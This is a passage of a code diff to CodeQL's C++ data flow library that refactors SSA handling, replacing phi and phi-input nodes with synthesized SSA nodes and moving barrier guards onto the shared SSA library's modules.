+        StoreInstruction beginStore, IRBlock bbStar, int iStar, Ssa::Definition def,
+        IteratorPointerDereferenceCall starCall, Ssa::Definition ultimate, Operand address
       |
         isIteratorWrite(writeToDeref, address) and
         operandForFullyConvertedCall(address, starCall) and
         bbStar.getInstruction(iStar) = starCall and
-        Ssa::ssaDefReachesReadExt(_, def, bbStar, iStar) and
+        Ssa::ssaDefReachesRead(_, def, bbStar, iStar) and
         ultimate = getAnUltimateDefinition*(def) and
         beginStore = ultimate.getValue().asInstruction() and
         operandForFullyConvertedCall(beginStore.getSourceValueOperand(), beginCall)
@@ -1835,45 +1834,15 @@ module IteratorFlow {
 
   private module IteratorSsa = SsaImpl::Make<Location, SsaInput>;
 
-  cached
-  private newtype TSsaDef =
-    TDef(IteratorSsa::DefinitionExt def) or
-    TPhi(PhiNode phi)
-
-  abstract private class SsaDef extends TSsaDef {
-    /** Gets a textual representation of this element. */
-    string toString() { none() }
-
-    /** Gets the underlying non-phi definition or use. */
-    IteratorSsa::DefinitionExt asDef() { none() }
-
-    /** Gets the underlying phi node. */
-    PhiNode asPhi() { none() }
-
-    /** Gets the location of this element. */
-    abstract Location getLocation();
-  }
-
-  private class Def extends TDef, SsaDef {
-    IteratorSsa::DefinitionExt def;
-
-    Def() { this = TDef(def) }
-
-    final override IteratorSsa::DefinitionExt asDef() { result = def }
-
+  private class Def extends IteratorSsa::DefinitionExt {
     final override Location getLocation() { result = this.getImpl().getLocation() }
 
-    /** Gets the variable written to by this definition. */
-    final SourceVariable getSourceVariable() { result = def.getSourceVariable() }
-
-    override string toString() { result = def.toString() }
-
     /**
      * Holds if this definition (or use) has index `index` in block `block`,
      * and is a definition (or use) of the variable `sv`.
      */
     predicate hasIndexInBlock(IRBlock block, int index, SourceVariable sv) {
-      def.definesAt(sv, block, index, _)
+      super.definesAt(sv, block, index, _)
     }
 
     private Ssa::DefImpl getImpl() {
@@ -1890,20 +1859,6 @@ module IteratorFlow {
     int getIndirectionIndex() { result = this.getImpl().getIndirectionIndex() }
   }
 
-  private class Phi extends TPhi, SsaDef {
-    PhiNode phi;
-
-    Phi() { this = TPhi(phi) }
-
-    final override PhiNode asPhi() { result = phi }
-
-    final override Location getLocation() { result = phi.getBasicBlock().getLocation() }
-
-    override string toString() { result = phi.toString() }
-
-    SsaIteratorNode getNode() { result.getIteratorFlowNode() = phi }
-  }
-
   private class PhiNode extends IteratorSsa::DefinitionExt {
     PhiNode() {
       this instanceof IteratorSsa::PhiNode or
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll
index c9e2a7136216..3b6e190cc981 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll
@@ -27,7 +27,7 @@ import ExprNodes
  * - `VariableNode`, which is used to model flow through global variables.
  * - `PostUpdateNodeImpl`, which is used to model the state of an object after
  *    an update after a number of loads.
- * - `SsaPhiNode`, which represents phi nodes as computed by the shared SSA
+ * - `SsaSynthNode`, which represents synthesized nodes as computed by the shared SSA
  *    library.
  * - `RawIndirectOperand`, which represents the value of `operand` after
  *    loading the address a number of times.
@@ -47,8 +47,7 @@ private newtype TIRDataFlowNode =
     or
     Ssa::isModifiableByCall(operand, indirectionIndex)
   } or
-  TSsaPhiInputNode(Ssa::PhiNode phi, IRBlock input) { phi.hasInputFromBlock(_, _, _, _, input) } or
-  TSsaPhiNode(Ssa::PhiNode phi) or
+  TSsaSynthNode(Ssa::SynthNode n) or
   TSsaIteratorNode(IteratorFlow::IteratorFlowNode n) or
   TRawIndirectOperand0(Node0Impl node, int indirectionIndex) {
     Ssa::hasRawIndirectOperand(node.asOperand(), indirectionIndex)
@@ -184,10 +183,11 @@ class Node extends TIRDataFlowNode {
     or
     this.asOperand().getUse() = block.getInstruction(i)
     or
-    this.(SsaPhiNode).getPhiNode().getBasicBlock() = block and i = -1
-    or
-    this.(SsaPhiInputNode).getBlock() = block and
-    i = block.getInstructionCount()
+    exists(Ssa::SynthNode ssaNode |
+      this.(SsaSynthNode).getSynthNode() = ssaNode and
+      ssaNode.getBasicBlock() = block and
+      ssaNode.getIndex() = i
+    )
     or
     this.(RawIndirectOperand).getOperand().getUse() = block.getInstruction(i)
     or
@@ -313,13 +313,79 @@ class Node extends TIRDataFlowNode {
    * `n.asExpr() instanceof IncrementOperation` since the result of evaluating
    * the expression `x++` is passed to `sink`.
    */
-  Expr asDefinition() {
-    exists(StoreInstruction store |
+  Expr asDefinition() { result = this.asDefinition(_) }
+
+  /**
+   * Gets the definition associated with this node, if any.
+   *
+   * For example, consider the following example
+   * ```cpp
+   * int x = 42;     // 1
+   * x = 34;         // 2
+   * ++x;            // 3
+   * x++;            // 4
+   * x += 1;         // 5
+   * int y = x += 2; // 6
+   * ```
+   * - For (1) the result is `42`.
+   * - For (2) the result is `x = 34`.
+   * - For (3) the result is `++x`.
+   * - For (4) the result is `x++`.
+   * - For (5) the result is `x += 1`.
+   * - For (6) there are two results:
+   *   - For the definition generated by `x += 2` the result is `x += 2`
+   *   - For the definition generated by `int y = ...` the result is
+   *     also `x += 2`.
+   *
+   * For assignments, `node.asDefinition(_)` and `node.asExpr()` will both exist
+   * for the same dataflow node. However, for expression such as `x++` that
+   * both write to `x` and read the current value of `x`, `node.asDefinition(_)`
+   * will give the node corresponding to the value after the increment, and
+   * `node.asExpr()` will give the node corresponding to the value before the
+   * increment. For an example of this, consider the following:
+   *
+   * ```cpp
+   * sink(x++);
+   * ```
+   * in the above program, there will not be flow from a node `n` such that
+   * `n.asDefinition(_) instanceof IncrementOperation` to the argument of `sink`
+   * since the value passed to `sink` is the value before to the increment.
+   * However, there will be dataflow from a node `n` such that
+   * `n.asExpr() instanceof IncrementOperation` since the result of evaluating
+   * the expression `x++` is passed to `sink`.
+   *
+   * If `uncertain = false` then the definition is guaranteed to overwrite
+   * the entire buffer pointed to by the destination address of the definition.
+   * Otherwise, `uncertain = true`.
+   *
+   * For example, the write `int x; x = 42;` is guaranteed to overwrite all the
+   * bytes allocated to `x`, while the assignment `int p[10]; p[3] = 42;` has
+   * `uncertain = true` since the write will not overwrite the entire buffer
+   * pointed to by `p`.
+   */
+  Expr asDefinition(boolean uncertain) {
+    exists(StoreInstruction store, Ssa::Definition def |
       store = this.asInstruction() and
-      result = asDefinitionImpl(store)
+      result = asDefinitionImpl(store) and
+      Ssa::defToNode(this, def, _) and
+      if def.isCertain() then uncertain = false else uncertain = true
     )
   }
 
+  /**
+   * Gets the definition associated with this node, if this node is a certain definition.
+   *
+   * See `Node.asDefinition/1` for a description of certain and uncertain definitions.
+   */
+  Expr asCertainDefinition() { result = this.asDefinition(false) }
+
+  /**
+   * Gets the definition associated with this node, if this node is an uncertain definition.
+   *
+   * See `Node.asDefinition/1` for a description of certain and uncertain definitions.
+   */
+  Expr asUncertainDefinition() { result = this.asDefinition(true) }
+
   /**
    * Gets the indirect definition at a given indirection corresponding to this
    * node, if any.
@@ -620,117 +686,30 @@ class PostFieldUpdateNode extends PostUpdateNodeImpl {
 /**
  * INTERNAL: do not use.
  *
- * A phi node produced by the shared SSA library, viewed as a node in a data flow graph.
+ * A synthesized SSA node produced by the shared SSA library, viewed as a node
+ * in a data flow graph.
  */
-class SsaPhiNode extends Node, TSsaPhiNode {
-  Ssa::PhiNode phi;
+class SsaSynthNode extends Node, TSsaSynthNode {
+  Ssa::SynthNode node;
 
-  SsaPhiNode() { this = TSsaPhiNode(phi) }
+  SsaSynthNode() { this = TSsaSynthNode(node) }
 
-  /** Gets the phi node associated with this node. */
-  Ssa::PhiNode getPhiNode() { result = phi }
+  /** Gets the synthesized SSA node associated with this node. */
+  Ssa::SynthNode getSynthNode() { result = node }
 
   override DataFlowCallable getEnclosingCallable() {
     result.asSourceCallable() = this.getFunction()
   }
 
-  override Declaration getFunction() { result = phi.getBasicBlock().getEnclosingFunction() }
+  override Declaration getFunction() { result = node.getBasicBlock().getEnclosingFunction() }
 
-  override DataFlowType getType() {
-    exists(Ssa::SourceVariable sv |
-      this.getPhiNode().definesAt(sv, _, _, _) and
-      result = sv.getType()
-    )
-  }
-
-  override predicate isGLValue() { phi.getSourceVariable().isGLValue() }
+  override DataFlowType getType() { result = node.getSourceVariable().getType() }
 
-  final override Location getLocationImpl() { result = phi.getBasicBlock().getLocation() }
+  override predicate isGLValue() { node.getSourceVariable().isGLValue() }
 
-  override string toStringImpl() { result = phi.toString() }
-
-  /**
-   * Gets a node that is used as input to this phi node.
-   * `fromBackEdge` is true if data flows along a back-edge,
-   * and `false` otherwise.
-   */
-  cached
-  final Node getAnInput(boolean fromBackEdge) {
-    result.(SsaPhiInputNode).getPhiNode() = phi and
-    exists(IRBlock bPhi, IRBlock bResult |
-      bPhi = phi.getBasicBlock() and bResult = result.getBasicBlock()
-    |
-      if bPhi.dominates(bResult) then fromBackEdge = true else fromBackEdge = false
-    )
-  }
-
-  /** Gets a node that is used as input to this phi node. */
-  final Node getAnInput() { result = this.getAnInput(_) }
-
-  /** Gets the source variable underlying this phi node. */
-  Ssa::SourceVariable getSourceVariable() { result = phi.getSourceVariable() }
-
-  /**
-   * Holds if this phi node is a phi-read node.
-   *
-   * Phi-read nodes are like normal phi nodes, but they are inserted based
-   * on reads instead of writes.
-   */
-  predicate isPhiRead() { phi.isPhiRead() }
-}
-
-/**
- * INTERNAL: Do not use.
- *
- * A node that is used as an input to a phi node.
- *
- * This class exists to allow more powerful barrier guards. Consider this
- * example:
- *
- * ```cpp
- * int x = source();
- * if(!safe(x)) {
- *   x = clear();
- * }
- * // phi node for x here
- * sink(x);
- * ```
- *
- * At the phi node for `x` it is neither the case that `x` is dominated by
- * `safe(x)`, or is the case that the phi is dominated by a clearing of `x`.
- *
- * By inserting a "phi input" node as the last entry in the basic block that
- * defines the inputs to the phi we can conclude that each of those inputs are
- * safe to pass to `sink`.
- */
-class SsaPhiInputNode extends Node, TSsaPhiInputNode {
-  Ssa::PhiNode phi;
-  IRBlock block;
-
-  SsaPhiInputNode() { this = TSsaPhiInputNode(phi, block) }
-
-  /** Gets the phi node associated with this node. */
-  Ssa::PhiNode getPhiNode() { result = phi }
-
-  /** Gets the basic block in which this input originates. */
-  IRBlock getBlock() { result = block }
-
-  override DataFlowCallable getEnclosingCallable() {
-    result.asSourceCallable() = this.getFunction()
-  }
-
-  override Declaration getFunction() { result = phi.getBasicBlock().getEnclosingFunction() }
-
-  override DataFlowType getType() { result = this.getSourceVariable().getType() }
-
-  override predicate isGLValue() { phi.getSourceVariable().isGLValue() }
-
-  final override Location getLocationImpl() { result = block.getLastInstruction().getLocation() }
-
-  override string toStringImpl() { result = "Phi input" }
+  final override Location getLocationImpl() { result = node.getLocation() }
 
-  /** Gets the source variable underlying this phi node. */
-  Ssa::SourceVariable getSourceVariable() { result = phi.getSourceVariable() }
+  override string toStringImpl() { result = node.toString() }
 }
 
 /**
@@ -1305,10 +1284,10 @@ class UninitializedNode extends Node {
   LocalVariable v;
 
   UninitializedNode() {
-    exists(Ssa::DefinitionExt def, Ssa::SourceVariable sv |
+    exists(Ssa::Definition def, Ssa::SourceVariable sv |
       def.getIndirectionIndex() = 0 and
       def.getValue().asInstruction() instanceof UninitializedInstruction and
-      Ssa::defToNode(this, def, sv, _, _, _) and
+      Ssa::defToNode(this, def, sv) and
       v = sv.getBaseVariable().(Ssa::BaseIRVariable).getIRVariable().getAst()
     )
   }
@@ -1733,6 +1712,21 @@ predicate hasInstructionAndIndex(
 
 cached
 private module Cached {
+  /**
+   * Holds if `n` has a local flow step that goes through a back-edge.
+   */
+  cached
+  predicate flowsToBackEdge(Node n) {
+    exists(Node succ, IRBlock bb1, IRBlock bb2 |
+      Ssa::ssaFlow(n, succ) and
+      bb1 = n.getBasicBlock() and
+      bb2 = succ.getBasicBlock() and
+      bb1 != bb2 and
+      bb2.dominates(bb1) and
+      bb1.getASuccessor+() = bb2
+    )
+  }
+
   /**
    * Holds if data flows from `nodeFrom` to `nodeTo` in exactly one local
    * (intra-procedural) step. This relation is only used for local dataflow
@@ -1821,15 +1815,9 @@ private module Cached {
   cached
   predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo, string model) {
     (
-      // Post update node -> Node flow
-      Ssa::postUpdateFlow(nodeFrom, nodeTo)
-      or
       // Def-use/Use-use flow
       Ssa::ssaFlow(nodeFrom, nodeTo)
       or
-      // Phi input -> Phi
-      nodeFrom.(SsaPhiInputNode).getPhiNode() = nodeTo.(SsaPhiNode).getPhiNode()
-      or
       IteratorFlow::localFlowStep(nodeFrom, nodeTo)
       or
       // Operand -> Instruction flow
@@ -1844,9 +1832,6 @@ private module Cached {
         not iFrom = Ssa::getIRRepresentationOfOperand(opTo)
       )
       or
-      // Phi node -> Node flow
-      Ssa::fromPhiNode(nodeFrom, nodeTo)
-      or
       // Indirect operand -> (indirect) instruction flow
       indirectionOperandFlow(nodeFrom, nodeTo)
       or
@@ -2290,22 +2275,6 @@ class ContentSet instanceof Content {
   }
 }
 
-pragma[nomagic]
-private predicate guardControlsPhiInput(
-  IRGuardCondition g, boolean branch, Ssa::DefinitionExt def, IRBlock input, Ssa::PhiNode phi
-) {
-  phi.hasInputFromBlock(def, _, _, _, input) and
-  (
-    g.controls(input, branch)
-    or
-    exists(EdgeKind kind |
-      g.getBlock() = input and
-      kind = getConditionalEdge(branch) and
-      input.getSuccessor(kind) = phi.getBasicBlock()
-    )
-  )
-}
-
 /**
  * Holds if the guard `g` validates the expression `e` upon evaluating to `branch`.
  *
@@ -2337,6 +2306,10 @@ module BarrierGuard<guardChecksSig/3 guardChecks> {
     )
   }
 
+  private predicate guardChecksNode(IRGuardCondition g, Node n, boolean branch) {
+    guardChecks(g, n.asOperand().getDef().getConvertedResultExpression(), branch)
+  }
+
   /**
    * Gets an expression node that is safely guarded by the given guard check.
    *
@@ -2377,14 +2350,7 @@ module BarrierGuard<guardChecksSig/3 guardChecks> {
       controls(g, result, edge)
     )
     or
-    exists(
-      IRGuardCondition g, boolean branch, Ssa::DefinitionExt def, IRBlock input, Ssa::PhiNode phi
-    |
-      guardChecks(g, def.getARead().asOperand().getDef().getConvertedResultExpression(), branch) and
-      guardControlsPhiInput(g, branch, def, pragma[only_bind_into](input),
-        pragma[only_bind_into](phi)) and
-      result = TSsaPhiInputNode(phi, input)
-    )
+    result = Ssa::BarrierGuard<guardChecksNode/3>::getABarrierNode()
   }
 
   /**
@@ -2433,6 +2399,13 @@ module BarrierGuard<guardChecksSig/3 guardChecks> {
     )
   }
 
+  private predicate guardChecksIndirectNode(
+    IRGuardCondition g, Node n, boolean branch, int indirectionIndex
+  ) {
+    guardChecks(g, n.asIndirectOperand(indirectionIndex).getDef().getConvertedResultExpression(),
+      branch)
+  }
+
   /**
    * Gets an indirect expression node with indirection index `indirectionIndex` that is
    * safely guarded by the given guard check.
@@ -2475,16 +2448,8 @@ module BarrierGuard<guardChecksSig/3 guardChecks> {
       controls(g, result, edge)
     )
     or
-    exists(
-      IRGuardCondition g, boolean branch, Ssa::DefinitionExt def, IRBlock input, Ssa::PhiNode phi
-    |
-      guardChecks(g,
-        def.getARead().asIndirectOperand(indirectionIndex).getDef().getConvertedResultExpression(),
-        branch) and
-      guardControlsPhiInput(g, branch, def, pragma[only_bind_into](input),
-        pragma[only_bind_into](phi)) and
-      result = TSsaPhiInputNode(phi, input)
-    )
+    result =
+      Ssa::BarrierGuardWithIntParam<guardChecksIndirectNode/4>::getABarrierNode(indirectionIndex)
   }
 }
 
@@ -2493,14 +2458,6 @@ module BarrierGuard<guardChecksSig/3 guardChecks> {
  */
 signature predicate instructionGuardChecksSig(IRGuardCondition g, Instruction instr, boolean branch);
 
-private EdgeKind getConditionalEdge(boolean branch) {
-  branch = true and
-  result instanceof TrueEdge
-  or
-  branch = false and
-  result instanceof FalseEdge
-}
-
 /**
  * Provides a set of barrier nodes for a guard that validates an instruction.
  *
@@ -2517,6 +2474,10 @@ module InstructionBarrierGuard<instructionGuardChecksSig/3 instructionGuardCheck
     )
   }
 
+  private predicate guardChecksNode(IRGuardCondition g, Node n, boolean branch) {
+    instructionGuardChecks(g, n.asOperand().getDef(), branch)
+  }
+
   /** Gets a node that is safely guarded by the given guard check. */
   Node getABarrierNode() {
     exists(IRGuardCondition g, ValueNumber value, boolean edge |
@@ -2525,14 +2486,7 @@ module InstructionBarrierGuard<instructionGuardChecksSig/3 instructionGuardCheck
       controls(g, result, edge)
     )
     or
-    exists(
-      IRGuardCondition g, boolean branch, Ssa::DefinitionExt def, IRBlock input, Ssa::PhiNode phi
-    |
-      instructionGuardChecks(g, def.getARead().asOperand().getDef(), branch) and
-      guardControlsPhiInput(g, branch, def, pragma[only_bind_into](input),
-        pragma[only_bind_into](phi)) and
-      result = TSsaPhiInputNode(phi, input)
-    )
+    result = Ssa::BarrierGuard<guardChecksNode/3>::getABarrierNode()
   }
 
   bindingset[value, n]
@@ -2544,6 +2498,12 @@ module InstructionBarrierGuard<instructionGuardChecksSig/3 instructionGuardCheck
     )
   }
 
+  private predicate guardChecksIndirectNode(
+    IRGuardCondition g, Node n, boolean branch, int indirectionIndex
+  ) {
+    instructionGuardChecks(g, n.asIndirectOperand(indirectionIndex).getDef(), branch)
+  }
+
   /**
    * Gets an indirect node with indirection index `indirectionIndex` that is
    * safely guarded by the given guard check.
@@ -2555,14 +2515,8 @@ module InstructionBarrierGuard<instructionGuardChecksSig/3 instructionGuardCheck
       controls(g, result, edge)
     )
     or
-    exists(
-      IRGuardCondition g, boolean branch, Ssa::DefinitionExt def, IRBlock input, Ssa::PhiNode phi
-    |
-      instructionGuardChecks(g, def.getARead().asIndirectOperand(indirectionIndex).getDef(), branch) and
-      guardControlsPhiInput(g, branch, def, pragma[only_bind_into](input),
-        pragma[only_bind_into](phi)) and
-      result = TSsaPhiInputNode(phi, input)
-    )
+    result =
+      Ssa::BarrierGuardWithIntParam<guardChecksIndirectNode/4>::getABarrierNode(indirectionIndex)
   }
 }
 
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll
index 77e6e8590cef..202d3fa32c80 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll
@@ -2,6 +2,7 @@ private import codeql.ssa.Ssa as SsaImplCommon
 private import semmle.code.cpp.ir.IR
 private import DataFlowUtil
 private import DataFlowImplCommon as DataFlowImplCommon
+private import semmle.code.cpp.controlflow.IRGuards as IRGuards
 private import semmle.code.cpp.models.interfaces.Allocation as Alloc
 private import semmle.code.cpp.models.interfaces.DataFlow as DataFlow
 private import semmle.code.cpp.models.interfaces.Taint as Taint
@@ -464,6 +465,17 @@ private predicate finalParameterNodeHasParameterAndIndex(
   n.getIndirectionIndex() = indirectionIndex
 }
 
+pragma[nomagic]
+private predicate hasReturnPosition(IRFunction f, IRBlock block, int index) {
+  exists(Instruction return |
+    return instanceof ReturnInstruction or
+    return instanceof UnreachedInstruction
+  |
+    block.getInstruction(index) = return and
+    return.getEnclosingIRFunction() = f
+  )
+}
+
 class FinalParameterUse extends UseImpl, TFinalParameterUse {
   Parameter p;
 
@@ -492,12 +504,9 @@ class FinalParameterUse extends UseImpl, TFinalParameterUse {
     // `UnreachedInstruction`. If that's the case this predicate will
     // return multiple results. I don't think this is detrimental to
     // performance, however.
-    exists(Instruction return |
-      return instanceof ReturnInstruction or
-      return instanceof UnreachedInstruction
-    |
-      block.getInstruction(index) = return and
-      return.getEnclosingFunction() = p.getFunction()
+    exists(IRFunction f |
+      hasReturnPosition(f, block, index) and
+      f.getFunction() = p.getFunction()
     )
   }
 
@@ -587,13 +596,7 @@ class GlobalUse extends UseImpl, TGlobalUse {
     // globals at any exit so that we can flow out of non-returning functions.
     // Obviously this isn't correct as we can't actually flow but the global flow
     // requires this if we want to flow into children.
-    exists(Instruction return |
-      return instanceof ReturnInstruction or
-      return instanceof UnreachedInstruction
-    |
-      block.getInstruction(index) = return and
-      return.getEnclosingIRFunction() = f
-    )
+    hasReturnPosition(f, block, index)
   }
 
   override BaseSourceVariable getBaseSourceVariable() {
@@ -669,21 +672,6 @@ class GlobalDefImpl extends DefImpl, TGlobalDefImpl {
   override Location getLocation() { result = f.getLocation() }
 }
 
-/**
- * Holds if there is a definition or access at index `i1` in basic block `bb1`
- * and the next subsequent read is at index `i2` in basic block `bb2`.
- */
-predicate adjacentDefRead(IRBlock bb1, int i1, SourceVariable sv, IRBlock bb2, int i2) {
-  adjacentDefReadExt(_, sv, bb1, i1, bb2, i2)
-}
-
-predicate useToNode(IRBlock bb, int i, SourceVariable sv, Node nodeTo) {
-  exists(UseImpl use |
-    use.hasIndexInBlock(bb, i, sv) and
-    nodeTo = use.getNode()
-  )
-}
-
 pragma[noinline]
 predicate outNodeHasAddressAndIndex(
   IndirectArgumentOutNode out, Operand address, int indirectionIndex
@@ -697,34 +685,17 @@ predicate outNodeHasAddressAndIndex(
  *
  * Holds if `node` is the node that corresponds to the definition of `def`.
  */
-predicate defToNode(
-  Node node, DefinitionExt def, SourceVariable sv, IRBlock bb, int i, boolean uncertain
-) {
-  def.definesAt(sv, bb, i, _) and
-  (
-    nodeHasOperand(node, def.getValue().asOperand(), def.getIndirectionIndex())
-    or
-    nodeHasInstruction(node, def.getValue().asInstruction(), def.getIndirectionIndex())
-    or
-    node.(InitialGlobalValue).getGlobalDef() = def
-  ) and
-  if def.isCertain() then uncertain = false else uncertain = true
+predicate defToNode(Node node, Definition def, SourceVariable sv) {
+  def.getSourceVariable() = sv and
+  defToNode(node, def)
 }
 
-/**
- * INTERNAL: Do not use.
- *
- * Holds if `node` is the node that corresponds to the definition or use at
- * index `i` in block `bb` of `sv`.
- *
- * `uncertain` is `true` if this is an uncertain definition.
- */
-predicate nodeToDefOrUse(Node node, SourceVariable sv, IRBlock bb, int i, boolean uncertain) {
-  defToNode(node, _, sv, bb, i, uncertain)
+private predicate defToNode(Node node, Definition def) {
+  nodeHasOperand(node, def.getValue().asOperand(), def.getIndirectionIndex())
   or
-  // Node -> Use
-  useToNode(bb, i, sv, node) and
-  uncertain = false
+  nodeHasInstruction(node, def.getValue().asInstruction(), def.getIndirectionIndex())
+  or
+  node.(InitialGlobalValue).getGlobalDef() = def
 }
 
 /**
@@ -732,10 +703,7 @@ predicate nodeToDefOrUse(Node node, SourceVariable sv, IRBlock bb, int i, boolea
  * only holds when there is no use-use relation out of `nTo`.
  */
 private predicate indirectConversionFlowStep(Node nFrom, Node nTo) {
-  not exists(SourceVariable sv, IRBlock bb2, int i2 |
-    useToNode(bb2, i2, sv, nTo) and
-    adjacentDefRead(bb2, i2, sv, _, _)
-  ) and
+  not ssaFlowImpl(nTo, _) and
   exists(Operand op1, Operand op2, int indirectionIndex, Instruction instr |
     hasOperandAndIndex(nFrom, op1, pragma[only_bind_into](indirectionIndex)) and
     hasOperandAndIndex(nTo, op2, pragma[only_bind_into](indirectionIndex)) and
@@ -744,50 +712,6 @@ private predicate indirectConversionFlowStep(Node nFrom, Node nTo) {
   )
 }
 
-/**
- * Holds if `node` is a phi input node that should receive flow from the
- * definition to (or use of) `sv` at `(bb1, i1)`.
- */
-private predicate phiToNode(SsaPhiInputNode node, SourceVariable sv, IRBlock bb1, int i1) {
-  exists(PhiNode phi, IRBlock input |
-    phi.hasInputFromBlock(_, sv, bb1, i1, input) and
-    node.getPhiNode() = phi and
-    node.getBlock() = input
-  )
-}
-
-/**
- * Holds if there should be flow from `nodeFrom` to `nodeTo` because
- * `nodeFrom` is a definition or use of `sv` at index `i1` at basic
- * block `bb1`.
- *
- * `uncertain` is `true` if `(bb1, i1)` is a definition, and that definition
- * is _not_ guaranteed to overwrite the entire allocation.
- */
-private predicate ssaFlowImpl(
-  IRBlock bb1, int i1, SourceVariable sv, Node nodeFrom, Node nodeTo, boolean uncertain
-) {
-  nodeToDefOrUse(nodeFrom, sv, bb1, i1, uncertain) and
-  (
-    exists(IRBlock bb2, int i2 |
-      adjacentDefRead(bb1, i1, sv, bb2, i2) and
-      useToNode(bb2, i2, sv, nodeTo)
-    )
-    or
-    phiToNode(nodeTo, sv, bb1, i1)
-  ) and
-  nodeFrom != nodeTo
-}
-
-/** Gets a node that represents the prior definition of `node`. */
-private Node getAPriorDefinition(DefinitionExt next) {
-  exists(IRBlock bb, int i, SourceVariable sv |
-    lastRefRedefExt(_, pragma[only_bind_into](sv), pragma[only_bind_into](bb),
-      pragma[only_bind_into](i), _, next) and
-    nodeToDefOrUse(result, sv, bb, i, _)
-  )
-}
-
 private predicate inOut(FIO::FunctionInput input, FIO::FunctionOutput output) {
   exists(int indirectionIndex |
     input.isQualifierObject(indirectionIndex) and
@@ -834,21 +758,6 @@ private predicate modeledFlowBarrier(Node n) {
   )
 }
 
-/** Holds if there is def-use or use-use flow from `nodeFrom` to `nodeTo`. */
-predicate ssaFlow(Node nodeFrom, Node nodeTo) {
-  exists(Node nFrom, boolean uncertain, IRBlock bb, int i, SourceVariable sv |
-    ssaFlowImpl(bb, i, sv, nFrom, nodeTo, uncertain) and
-    not modeledFlowBarrier(nFrom) and
-    nodeFrom != nodeTo
-  |
-    if uncertain = true
-    then
-      nodeFrom =
-        [nFrom, getAPriorDefinition(any(DefinitionExt next | next.definesAt(sv, bb, i, _)))]
-    else nodeFrom = nFrom
-  )
-}
-
 private predicate isArgumentOfCallableInstruction(DataFlowCall call, Instruction instr) {
   isArgumentOfCallableOperand(call, unique( | | getAUse(instr)))
 }
@@ -905,22 +814,15 @@ private predicate postUpdateNodeToFirstUse(PostUpdateNode pun, Node n) {
   // So this predicate recurses back along conversions and `PointerArithmetic`
   // instructions to find the first use that has provides use-use flow, and
   // uses that target as the target of the `nodeFrom`.
-  exists(Node adjusted, IRBlock bb1, int i1, SourceVariable sv |
+  exists(Node adjusted |
     indirectConversionFlowStep*(adjusted, pun.getPreUpdateNode()) and
-    useToNode(bb1, i1, sv, adjusted)
-  |
-    exists(IRBlock bb2, int i2 |
-      adjacentDefRead(bb1, i1, sv, bb2, i2) and
-      useToNode(bb2, i2, sv, n)
-    )
-    or
-    phiToNode(n, sv, bb1, i1)
+    ssaFlowImpl(adjusted, n)
   )
 }
 
 private predicate stepUntilNotInCall(DataFlowCall call, Node n1, Node n2) {
   isArgumentOfCallable(call, n1) and
-  exists(Node mid | ssaFlowImpl(_, _, _, n1, mid, _) |
+  exists(Node mid | ssaFlowImpl(n1, mid) |
     isArgumentOfCallable(call, mid) and
     stepUntilNotInCall(call, mid, n2)
     or
@@ -952,7 +854,7 @@ private predicate isArgumentOfSameCall(DataFlowCall call, Node n1, Node n2) {
  * similarly we want flow from the second argument of `write_first_argument` to `x`
  * on the next line.
  */
-predicate postUpdateFlow(PostUpdateNode pun, Node nodeTo) {
+private predicate postUpdateFlow(PostUpdateNode pun, Node nodeTo) {
   exists(Node preUpdate, Node mid |
     preUpdate = pun.getPreUpdateNode() and
     postUpdateNodeToFirstUse(pun, mid)
@@ -967,21 +869,6 @@ predicate postUpdateFlow(PostUpdateNode pun, Node nodeTo) {
   )
 }
 
-/** Holds if `nodeTo` receives flow from the phi node `nodeFrom`. */
-predicate fromPhiNode(SsaPhiNode nodeFrom, Node nodeTo) {
-  exists(PhiNode phi, SourceVariable sv, IRBlock bb1, int i1 |
-    phi = nodeFrom.getPhiNode() and
-    phi.definesAt(sv, bb1, i1, _)
-  |
-    exists(IRBlock bb2, int i2 |
-      adjacentDefRead(bb1, i1, sv, bb2, i2) and
-      useToNode(bb2, i2, sv, nodeTo)
-    )
-    or
-    phiToNode(nodeTo, sv, bb1, i1)
-  )
-}
-
 private predicate baseSourceVariableIsGlobal(
   BaseIRVariable base, GlobalLikeVariable global, IRFunction func
 ) {
@@ -1023,11 +910,6 @@ private module SsaInput implements SsaImplCommon::InputSig<Location> {
     exists(UseImpl use | use.hasIndexInBlock(bb, i, v) |
       if use.isCertain() then certain = true else certain = false
     )
-    or
-    exists(GlobalUse global |
-      global.hasIndexInBlock(bb, i, v) and
-      certain = true
-    )
   }
 }
 
@@ -1036,42 +918,14 @@ private module SsaInput implements SsaImplCommon::InputSig<Location> {
  */
 cached
 module SsaCached {
-  /**
-   * Holds if `def` is accessed at index `i1` in basic block `bb1` (either a read
-   * or a write), `def` is read at index `i2` in basic block `bb2`, and there is a
-   * path between them without any read of `def`.
-   */
-  cached
-  predicate adjacentDefReadExt(
-    DefinitionExt def, SourceVariable sv, IRBlock bb1, int i1, IRBlock bb2, int i2
-  ) {
-    SsaImpl::adjacentDefReadExt(def, sv, bb1, i1, bb2, i2)
-  }
-
-  /**
-   * Holds if the node at index `i` in `bb` is a last reference to SSA definition
-   * `def`. The reference is last because it can reach another write `next`,
-   * without passing through another read or write.
-   *
-   * The path from node `i` in `bb` to `next` goes via basic block `input`,
-   * which is either a predecessor of the basic block of `next`, or `input` =
-   * `bb` in case `next` occurs in basic block `bb`.
-   */
   cached
-  predicate lastRefRedefExt(
-    DefinitionExt def, SourceVariable sv, IRBlock bb, int i, IRBlock input, DefinitionExt next
-  ) {
-    SsaImpl::lastRefRedefExt(def, sv, bb, i, input, next)
+  predicate ssaDefReachesRead(SourceVariable v, Definition def, IRBlock bb, int i) {
+    SsaImpl::ssaDefReachesRead(v, def, bb, i)
   }
 
   cached
-  DefinitionExt phiHasInputFromBlockExt(PhiNode phi, IRBlock bb) {
-    SsaImpl::phiHasInputFromBlockExt(phi, result, bb)
-  }
-
-  cached
